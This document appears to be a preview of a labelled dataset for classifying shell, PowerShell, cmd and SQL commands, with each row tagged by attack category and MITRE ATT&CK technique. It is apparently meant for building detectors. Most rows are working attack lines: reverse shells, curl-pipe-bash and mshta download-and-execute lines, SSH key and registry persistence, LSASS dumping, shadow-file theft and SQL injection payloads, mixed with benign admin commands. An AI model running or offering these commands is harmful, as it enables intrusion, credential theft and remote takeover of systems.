text
stringlengths
4
527
label
stringclasses
7 values
label_id
int64
0
6
language
stringclasses
5 values
mitre_technique
stringclasses
83 values
template_id
stringclasses
377 values
mkdir -p ~/.ssh && echo 'ssh-ed25519 AAAAKUkmxcJoH6yvVkrxSO2S+Uh8baROXBXDKMYKB8IvZKYx www-data@web11.example.org' >> ~/.ssh/authorized_keys
persistence
4
bash
T1098.004
persistence-002
' AND 1=CONVERT(int,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))--/*
sql_injection
6
sql
T1190
sql_injection-009
echo 'ssh-rsa AAAAqgpk9JP5OnQS0yigH6+ut5PAUSMv8YD/QZhnL6+w32whgi' >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys
persistence
4
bash
T1098.004
persistence-003
sudo curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/web-instance > /tmp/.c
credential_harvesting
2
bash
T1552.005
credential_harvesting-007
tftp -g -r loader32 198.51.100.187 && chmod +x loader32 && ./loader32
download_execute
5
bash
T1105
download_execute-010
powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('198.51.100.34',80);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII).GetBytes($r),0,$r.Length)}"
reverse_shell
3
powershell
T1059.001
reverse_shell-020
nmap -sS -p- -T4 203.0.113.21
reconnaissance
1
bash
T1046
reconnaissance-000
crontab -l
benign
0
bash
null
benign-029
sudo tcpdump -i docker0 port 53 -c 9
benign
0
bash
null
benign-105
SELECT usename, usesuper FROM pg_user; SELECT version();
reconnaissance
1
sql
T1213
reconnaissance-044
bitsaDmin /CrEatE GoOgleUpdAtETaSKMAchiNE & biTsadMin /addFiLe GoOgleUpdAteTaskMACHIne httP://198.51.100.45/SvC.exE C:\TemP\Svc.exe & bItsadmiN /SetNOtifyCmdLine GooGleUpdATeTASkMachinE C:\TEMP\sVc.exe NULL & BiTsadmin /resUME GoogLeUpDAteTaskMaCHinE
persistence
4
cmd
T1197
persistence-055
$client = New-Object System.Net.Sockets.TCPClient('203.0.113.243',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$se...
reverse_shell
3
powershell
T1059.001
reverse_shell-019
SELECT username, password, email FROM customers INTO OUTFILE '/var/www/html/out92.txt';
credential_harvesting
2
sql
T1555
credential_harvesting-040
cd ~/code/site && git pull origin main
benign
0
bash
null
benign-001
Get-COnTent "$env:APPDATA\FILeZilLa\ReCeNTsErvers.xMl" | SeLecT-String PasS
credential_harvesting
2
powershell
T1552.001
credential_harvesting-064
powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('198.51.100.145',8080);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII).GetBytes($r),0,$r.Length)}"
reverse_shell
3
powershell
T1059.001
reverse_shell-020
sudo smbclient -L //192.0.2.38 -N
reconnaissance
1
bash
T1590
reconnaissance-022
openssl s_client -quiet -connect 203.0.113.160:9895 | /bin/sh 2>&1 | openssl s_client -quiet -connect 203.0.113.160:443
reverse_shell
3
bash
T1059.004
reverse_shell-016
cmd.exe /c "regsvr32 /s /u /i:https://cdn-portal.example.net/conf42.sct scrobj.dll"
download_execute
5
cmd
T1218.010
download_execute-045
scp erin@198.51.100.170:/srv/run /tmp/ && chmod +x /tmp/run && /tmp/run
download_execute
5
bash
T1105
download_execute-033
' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM sys.tables),1,1))>40--
sql_injection
6
sql
T1190
sql_injection-035
GRANT SELECT, INSERT ON products TO app_user;
benign
0
sql
null
benign-141
New-Item -Path 'HKCU:\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32' -Value 'C:\Users\Public\kdev87.dll' -Force
persistence
4
powershell
T1546.015
persistence-048
SELECT user_id, COUNT(*) AS logins FROM sessions WHERE created_at > '2024-09-21' GROUP BY user_id;
benign
0
sql
null
benign-139
curl -s http://198.51.100.124/k.pub >> ~/.ssh/authorized_keys
persistence
4
bash
T1098.004
persistence-032
& "C:\Program Files\Microsoft Visual Studio\Common7\IDE\dump64.exe" (Get-Process lsass).Id C:\Temp\data20.dmp
credential_harvesting
2
powershell
T1003.001
credential_harvesting-059
1admin'-- #
sql_injection
6
sql
T1190
sql_injection-002
enum4linux -a 198.51.100.95
reconnaissance
1
bash
T1590
reconnaissance-021
Get-ChILdItem -REcurSe -INCluDe UnattenD.xml,syspRep.Xml,web.ConFig -PATh C:\ -ErrorAction SILentlYCoNTiNUe | SeleCt-STRing -PatTErn 'pAssword'
credential_harvesting
2
powershell
T1552.001
credential_harvesting-065
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -nop -c iex(iwr http://203.0.113.57/tmp.ps1)"",0:close")
download_execute
5
cmd
T1218.005
download_execute-021
Import-MoDulE AcTiveDirECtoRy; GET-ADGroup -FIlTER * | Get-ADGrOupMember | SelEct nAmE
reconnaissance
1
powershell
T1087.002
reconnaissance-081
%' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM sys.tables),1,1))>49-- --
sql_injection
6
sql
T1190
sql_injection-035
cmd.exe /c "net user carol /domain"
benign
0
cmd
null
benign-135
C:\Users\Public\nc64.exe 192.0.2.200 9001 -e powershell.exe
reverse_shell
3
cmd
T1059.003
reverse_shell-051
nmap -sS -p- -T4 203.0.113.93
reconnaissance
1
bash
T1046
reconnaissance-000
SELECT username, password, email FROM customers INTO OUTFILE '/var/www/html/kdev5.txt';
credential_harvesting
2
sql
T1555
credential_harvesting-040
sudo nmap -sU --top-ports 100 203.0.113.180
reconnaissance
1
bash
T1046
reconnaissance-046
$c = Get-CRedenTiAl -MESsAgE 'YOur seSsiOn hAS expIred. PLease re-enTeR your pASsWord'; $c.GeTNeTwoRkCredentiAl().PASswoRd | OUT-FIle $env:TEMP\out46.TXt
credential_harvesting
2
powershell
T1056.002
credential_harvesting-025
curl -s http://198.51.100.82/agent81.sh | bash
download_execute
5
bash
T1105
download_execute-000
sudo cp /etc/shadow /tmp/.health && chmod 644 /tmp/.health
credential_harvesting
2
bash
T1003.008
credential_harvesting-041
sudo systemctl status prometheus --no-pager
benign
0
bash
null
benign-006
nmap -sS -p- -T4 198.51.100.111
reconnaissance
1
bash
T1046
reconnaissance-000
/api/user?id=3%20OR%201=1
sql_injection
6
http
T1190
sql_injection-044
Get-ChildItem -Path \\app12.example.net\C$ -Recurse -ErrorAction SilentlyContinue
reconnaissance
1
powershell
T1083
reconnaissance-078
cp /tmp/lib /usr/lib/systemd/system-generators/MicrosoftEdgeUpdate
persistence
4
bash
T1543.002
persistence-034
curl "http://192.0.2.157/item.php?id=48%27%20UNION%20SELECT%201,2,3--%20-"
sql_injection
6
bash
T1190
sql_injection-049
New-Service -Name kworkerd -BinaryPathName 'C:\ProgramData\tmp.exe' -StartupType Automatic
persistence
4
powershell
T1543.003
persistence-045
IEX ([Text.Encoding]::ASCII.GetString((Invoke-WebRequest http://192.0.2.170/stage2.txt -UseBasicParsing).Content))
download_execute
5
powershell
T1059.001
download_execute-041
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("198.51.100.29",80));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
reverse_shell
3
bash
T1059.006
reverse_shell-008
smbclient -L //203.0.113.170 -N
reconnaissance
1
bash
T1590
reconnaissance-022
rustscan -a 198.51.100.164 --ulimit 5000 -- -sV
reconnaissance
1
bash
T1046
reconnaissance-049
cp /tmp/lib30 /usr/lib/systemd/system-generators/SystemHealth
persistence
4
bash
T1543.002
persistence-034
procdumP.eXE -accepteUla -mA lsass.exe C:\WINDOwS\Temp\iNStall.dmp
credential_harvesting
2
cmd
T1003.001
credential_harvesting-029
bash -i >& /dev/tcp/192.0.2.40/65137 0>&1
reverse_shell
3
bash
T1059.004
reverse_shell-000
CREATE USER 'backup2'@'%' IDENTIFIED BY 'Winter2024!'; GRANT ALL PRIVILEGES ON *.* TO 'backup2'@'%' WITH GRANT OPTION;
persistence
4
sql
T1136
persistence-027
admin'--
sql_injection
6
sql
T1190
sql_injection-002
pip install --upgrade nginx
benign
0
bash
null
benign-097
-126 UNION SELECT region, password FROM orders -- -
sql_injection
6
sql
T1190
sql_injection-028
New-Item -Path 'HKCU:\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32' -Value 'C:\Users\Public\loader69.dll' -Force
persistence
4
powershell
T1546.015
persistence-048
cmd.exe /c "procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\update.dmp"
credential_harvesting
2
cmd
T1003.001
credential_harvesting-029
Test-NetConnection -ComputerName 198.51.100.177 -Port 445 -InformationLevel Quiet
reconnaissance
1
powershell
T1046
reconnaissance-072
$x=[System.Net.WebRequest]::Create('http://198.51.100.239/update35');$r=New-Object IO.StreamReader($x.GetResponse().GetResponseStream());iex $r.ReadToEnd()
download_execute
5
powershell
T1059.001
download_execute-042
InVokE-SessionGopher -THOrough
credential_harvesting
2
powershell
T1555
credential_harvesting-063
responder -I wlan0 -wrf
credential_harvesting
2
bash
T1557.001
credential_harvesting-055
gobuster dir -u http://192.0.2.114/ -w /usr/share/wordlists/dirb/common.txt
reconnaissance
1
bash
T1595
reconnaissance-019
GEt-ComputerINFo; Get-HotFix | SOrt-ObJECt InstALleDON
reconnaissance
1
powershell
T1082
reconnaissance-028
sudo gcore -o /tmp/update $(pgrep -f sshd | head -1) && strings /tmp/update* | grep -i password
credential_harvesting
2
bash
T1003.007
credential_harvesting-044
test30' UNION SELECT NULL,username,password FROM users-- - -- -
sql_injection
6
sql
T1190
sql_injection-003
23; INSERT INTO users (username,password,role) VALUES ('svc_mon','P@ssw0rd!','admin')--
sql_injection
6
sql
T1190
sql_injection-012
echo 'alias ls="ls --color=auto; /tmp/.a96 &"' >> /home/ec2-user/.bashrc
persistence
4
bash
T1546.004
persistence-035
' AND extractvalue(1,concat(0x7e,(SELECT database())))-- - --
sql_injection
6
sql
T1190
sql_injection-010
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://192.0.2.9/update69.sct")
download_execute
5
cmd
T1218.011
download_execute-022
openssl s_client -quiet -connect 203.0.113.194:1337 | /bin/sh 2>&1 | openssl s_client -quiet -connect 203.0.113.194:8080
reverse_shell
3
bash
T1059.004
reverse_shell-016
sudo systemctl restart worker
benign
0
bash
null
benign-005
ncat.exe --ssl 192.0.2.244 4444 -e cmd.exe
reverse_shell
3
cmd
T1059.003
reverse_shell-025
openssl req -new -newkey rsa:2048 -nodes -keyout build18.example.net.key -out build18.example.net.csr
benign
0
bash
null
benign-026
SELECT username, password, email FROM accounts INTO OUTFILE '/var/www/html/agent.txt';
credential_harvesting
2
sql
T1555
credential_harvesting-040
42 UNION SELECT region, password FROM accounts
sql_injection
6
sql
T1190
sql_injection-028
neT vieW /doMain & nlTeSt /dcLIst:intERnal.test
reconnaissance
1
cmd
T1018
reconnaissance-039
Get-NEtIPCOnfIguraTioN
benign
0
powershell
null
benign-118
SELECT * FROM events WHERE sku LIKE '%cache%';
benign
0
sql
null
benign-077
sh -i >& /dev/udp/198.51.100.211/1337 0>&1
reverse_shell
3
bash
T1059.004
reverse_shell-030
curl -s http://203.0.113.238/a.sh | bash
download_execute
5
bash
T1105
download_execute-000
'; WAITFOR DELAy '0:0:15'--
sql_injection
6
sql
T1190
sql_injection-007
' AND extractvalue(1,concat(0x7e,(SELECT database())))-- - -- -
sql_injection
6
sql
T1190
sql_injection-010
neTSh inTeRface IP shOw ConfiG & neTsh wlan show PROFilES
reconnaissance
1
cmd
T1016
reconnaissance-089
chown -R jenkins:jenkins /var/log/app
benign
0
bash
null
benign-028
$ssl=New-Object Net.Security.SslStream((New-Object Net.Sockets.TcpClient('198.51.100.197',1337)).GetStream(),$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$ssl.AuthenticateAsClient('service.example')
reverse_shell
3
powershell
T1059.001
reverse_shell-050
echo '/tmp/.install38 &' >> /etc/rc.local && chmod +x /etc/rc.local
persistence
4
bash
T1037.004
persistence-009
' GrOUP By eMail hAVING 1=1--
sql_injection
6
sql
T1190
sql_injection-043
git log -p | grep -iE 'password|secret|api_key' | head -n 45
credential_harvesting
2
bash
T1552.001
credential_harvesting-050
fInDstr /si pASswOrD *.xml *.InI *.txt *.coNfiG
credential_harvesting
2
cmd
T1552.001
credential_harvesting-032
chmod 644 /data/exports/kdev.conf
benign
0
bash
null
benign-027
test' OR '1'='1' -- #
sql_injection
6
sql
T1190
sql_injection-000
sudo kubectl logs deploy/docker -n default --tail=1
benign
0
bash
null
benign-100
& "C:\Program Files\Microsoft Visual Studio\Common7\IDE\dump64.exe" (Get-Process lsass).Id C:\Temp\x99.dmp
credential_harvesting
2
powershell
T1003.001
credential_harvesting-059
New-LocalUser -Name 'helpdesk$' -Password (ConvertTo-SecureString 'Winter2024!' -AsPlainText -Force); Add-LocalGroupMember -Group 'Administrators' -Member 'helpdesk$'
persistence
4
powershell
T1136.001
persistence-016
nc.exe 203.0.113.194 5555 -e cmd.exe
reverse_shell
3
cmd
T1059.003
reverse_shell-024
tasklist | findstr sshd
benign
0
cmd
null
benign-130
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -nop -c iex(iwr http://198.51.100.52/kdev.ps1)"",0:close")
download_execute
5
cmd
T1218.005
download_execute-021